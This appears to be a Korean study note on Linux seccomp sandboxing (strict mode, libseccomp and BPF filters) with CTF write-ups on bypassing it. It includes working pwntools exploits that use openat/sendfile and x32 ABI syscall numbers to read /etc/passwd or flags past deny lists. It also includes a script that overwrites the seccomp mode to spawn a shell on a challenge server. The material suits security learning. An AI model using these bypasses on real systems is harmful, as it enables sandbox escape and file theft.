SECCOMP
Sandbox
외부의 공격으로부터 시스템을 보호하기위해 설계된 기법
: allow list/ deny list 둘 중 선택하여 적용 가능
-> sandbox 메커니즘 중 하나 : SECCOMP
seccomp (secure computing mode)
리눅스 커널에서 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능
-> 어플리케이션에서 불필요한 시스템 콜의 호출을 방지할 수 있다!
STRICT_MODE
read, write, exit, sigreturn 시스템 콜의 호출만을 허용 -> 이외의 것은 sigkill 시그널로 프로그램 종료
#include <fcntl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>
// prctl함수를 통해 STRICT_MODE설정
void init_filter() { prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); }
int main() {
char buf[256];
int fd = 0;
init_filter();
write(1, "OPEN!\n", 6);
fd = open("/bin/sh", O_RDONLY);
write(1, "READ!\n", 6);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
STRICT_MODE 동작 원리
model_syscalls 는 read,write,exit, sigreturn 시스템 콜의 번호를 저장하고 있는 변수
// syscall의 번호를 저장하고 있는 변수 model_syscall
// 어플리케이션의 호환 mode에 맞게 각 비트에 맞는 syscall번호 저장
static const int mode1_syscalls[] = {
__NR_seccomp_read,
__NR_seccomp_write,
__NR_seccomp_exit,
__NR_seccomp_sigreturn,
-1, /* negative terminated */
};
#ifdef CONFIG_COMPAT
static int mode1_syscalls_32[] = {
__NR_seccomp_read_32,
__NR_seccomp_write_32,
__NR_seccomp_exit_32,
__NR_seccomp_sigreturn_32,
0, /* null terminated */
};
#endif
// 전달된 model_syscalls 또는 32에 미리 정의된 번호와 일치하는지 검사
static void __secure_computing_strict(int this_syscall) {
const int *allowed_syscalls = mode1_syscalls;
#ifdef CONFIG_COMPAT
if (in_compat_syscall()) allowed_syscalls = get_compat_mode1_syscalls();
#endif
do {
if (*allowed_syscalls == this_syscall) return;
} while (*++allowed_syscalls != -1);
#ifdef SECCOMP_DEBUG
dump_stack();
#endif
seccomp_log(this_syscall, SIGKILL, SECCOMP_RET_KILL_THREAD, true);
do_exit(SIGKILL);
}
FILTER_MODE
원하는 모드의 syscall 호출을 allow / deny 가능
->library 함수를 이용 / BPF(berkely packet filter) 문법을 통해 적용 가능
FILTER_MODE :: 라이브러리 함수
함수 | 설명 |
seccomp_init | seccomp 모드의 기본 값 설정 -> 임의의 syscall 호출 시 발생 |
seccomp_rule_add | 규칙추가 (allow/deny) |
seccomp_load | 해당 규칙을 application에 적용 |
ㄴallow list
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
void sandbox() {
scmp_filter_ctx ctx;
// 기본 모드 : deny
ctx = seccomp_init(SCMP_ACT_KILL);
// 인자를 전달하지 않을 경우 fork함수를 통해 프로그램 종료
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
// seccomp_rule_add함수를 통해서 allow list 작성
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_load(ctx);
}
int banned() { fork(); }
int main(int argc, char *argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
if (argc < 2) {
banned();
}
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
}
ㄴdeny list
void sandbox() {
scmp_filter_ctx ctx;
// 기본 모드 : allow
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
// deny_list
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(openat), 0);
// 적용
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
}
FILTER_MODE :: BPF
BPF를 통한 seccomp적용
-> bpf는 커널에서 지원하는 vm으로서, 원래는 네트워크 패킷을 분석 및 필터링하는 목적
명령어 | 설명 |
BPF_LD | 인자로 전달된 값을 복사 -> 비교구문에서 비교 |
BPF_JMP | 지정 위치로 jmp |
BPF_JEQ | if equal, ump |
BPF_RET | 인자로 전달된 값을 반환 |
BPF는 코드를 직접 입력하지않고 다음과 같은 매크로를 제공한다.
BPF_STMT(opcode, operand)
operand(피연산자)의 값을 opcode(연산자)로 전달-
BPF_JUMP(opcode, operand, true_offset, false_offset)
operand를 opcode에 정의한 코드로 비교하고 결과에 따라 jmp
ㄴallow list
filter 구조체에 BPF 코드가 작성되있는 것을 확인
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define ALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define KILL_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
ALLOW_SYSCALL(rt_sigreturn),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(exit_group),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
void banned() { fork(); }
int main(int argc, char* argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
if (argc < 2) {
banned();
}
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
-아키텍쳐 검사
현재 arch가 x86-64라면 jmp, 아니라면 seccomp_ret_kill => 종료
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
-시스템 콜 검사
allow_syscall 매크로 호출을 통해 호출된 syscall이 인자로 전달된 값과 동일하다면 SECCOMP_RET_ALLOW 반환
다르다면, SECCOMP_RET_KILL 반환
#define ALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW
#define KILL_PROCESS \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
ALLOW_SYSCALL(rt_sigreturn),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(exit_group),
KILL_PROCESS,
ㄴdeny list
위의 과정과 흡사하다. 단지 allow와 deny 가 뒤바뀌었을 뿐....
seccomp-tools
: seccomp가 적용된 바이너리의 분석을 도울 뿐만 아니라 BPF 어셈블러 / 디스어셈블러를 제공하는 유용한 도구!
Bypass SECCOMP
1. 타 syscall 호출
- 코드 분석
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
// 기본 모드 : allow
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
// deny_list : open, execve, execveat, write
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
// load
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
- 시나리오
1) syscall 찾기
동일한 기능의 syscall을 확인
: 해당 링크를 통해 확인할 수 있다
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
: 예 )open == openat (openat은 dirfd를 참조하여 해당 경로에서 파일을 찾음)
2) syscall 호출
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
- Exploit
#!/usr/bin/env python3
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process('./bypass_seccomp')
# open과 유사한 opencat사용
shellcode = shellcraft.openat(0, '/etc/passwd')
shellcode += 'mov r10, 0xffff'
# ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
# 파일의 내용을 출력하기 위한 sendfile syscall
# in_fd : 1 (표준출력 STDOUT)
# out_fd : 읽을 파일 fd
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
2. ABI (application binary interface)
x86-64, x32 두개의 ABI는 같은 프로세스에서 동작 (x86-64 에서 32비트 명령어 호환o)
또한, 동일한 AUDIT_ARCH_X86_64 이름의 매크로를 사용하여 리눅스 커널에서 둘을 동시에 일컫는다.
그러나, 엄연히 다른 arch => 이를 구별하기 위해 syscall 번호에 특정 값(0X4000 0000)을 부여
do_syscall_x64
static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
/*
* Convert negative numbers to very high and thus out of range
* numbers for comparisons.
*/
unsigned int unr = nr;
// unr (호출하는 syscall번호) < NR_syscalls (syscalls갯수) 비교
if (likely(unr < NR_syscalls)) {
unr = array_index_nospec(unr, NR_syscalls);
regs->ax = sys_call_table[unr](regs);
return true;
}
return false;
}
do_syscall_x32
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
/*
* Adjust the starting offset of the table, and convert numbers
* < __X32_SYSCALL_BIT to very high and thus out of range
* numbers for comparisons.
*/
// __X32_SYSCALL_BIT값을 뺀 syscall 번호를 사용
// 해당 매크로 값 : 0x 4000 0000
unsigned int xnr = nr - __X32_SYSCALL_BIT;
if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
xnr = array_index_nospec(xnr, X32_NR_syscalls);
regs->ax = x32_sys_call_table[xnr](regs);
return true;
}
return false;
}
- 코드 분석
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
// BPF사용
int sandbox() {
struct sock_filter filter[] = {
//arch 검증
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
// syscall nr 받기
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
// deny list 기반
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
DENY_SYSCALL(read),
DENY_SYSCALL(write),
DENY_SYSCALL(vfork),
DENY_SYSCALL(fork),
DENY_SYSCALL(clone),
DENY_SYSCALL(execve),
DENY_SYSCALL(execveat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
- 시나리오
시스템 콜 호출
: 사용할 수 있는 syscall을 찾자
특정 syscall이 작동과정에서 타 syscall을 호출하는 경우 : syscall의존성이 높다
-> open, read, write의 경우 타 syscall의 아예 호출하지 않아 의존도가 낮다.
=> 해당 프로그램에서는 거부하지만 do_syscall_x32을 통해서 실행하면 해당 syscall을 호출할 수 o
- Exploit
from pwn import *
context.arch = 'x86_64'
p = process('./bypass_secbpf')
# 문자열 data에 어셈블리 코드 저장
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))
p.interactive()
Bypass SECOOMP-1
- amd64-64 (64bit)
- RELRO, NX, PIE적용
- canary 미적용
- 주요 소스코드
void sandbox() {
scmp_filter_ctx ctx;
// 기본 모드 : allow
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
// deny list 작성
// open, execve, execveat, write syscall 불가능
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
- 사용자 정의로 shellcode작성
- sandbox에 의해 open,write, execve 불가능
- 이전의 예제들을 바탕으로 open -> openat, write->sendfile 의 타 syscall 사용으로 bypass가능
- 시나리오
syscall 찾기
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/를 통해서 확인하면 다음과 같다.
openat(int dfd, const char *filename, int flags, int mode)
sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
openat과 sendfile을 통해서 flag를 읽는 코드를 작성할 수 있다.
flag의 절대위치는 dockerfile에 작성되어있다.
(sendfile의 경우 2번째 인자를 절대경로로 입력해야 이전 인자의 out_fd가 무시된다)
- Exploit
from pwn import *
context(arch="x86_64", os="linux")
p = remote("host3.dreamhack.games", 10671)
# open
payload = shellcraft.openat(0, "/home/bypass_seccomp/flag")
# write
# sendfile (int out_fd, int in_fd, off_t *offset, size_t count);
# call : %rax, rdi-rsi-rdx-r10-r8-r9
payload += shellcraft.sendfile(1, 'rax', 0, 0xff)
payload += shellcraft.exit(0)
p.sendline(asm(payload))
p.interactive()
seccomp
- amd64-64 (64bit)
- partial RELRO, canary, NX 적용
- pie 미적용
- 주요 코드 분석
// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
키야 코드한번 길다...
mode를 보면 STRICT_MODE로 read, write, exit, sigreturn 시스템 콜의 호출만을 허용한다.
fiilter도 존재하는데 이전의 BPF 예제(filtering mode)와 다른게 allow/ deny list가 작성되어있지 않다.
그렇다면 그냥 3번 case를 통해서 mode를 STRICT_MODE(1)가 아닌 FILTER_MODE(2)로 변경해주면 될듯?
mode 주소를 알아보자.
- Exploit
from pwn import *
context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 20163)
mode = 0x602090
shellcode = asm(shellcraft.sh())
# 원하는 주소로 이동
p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode))
p.sendlineafter("value: ", "100")
p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", shellcode)
p.sendlineafter("> ", "2")
p.interactive()
(Reference)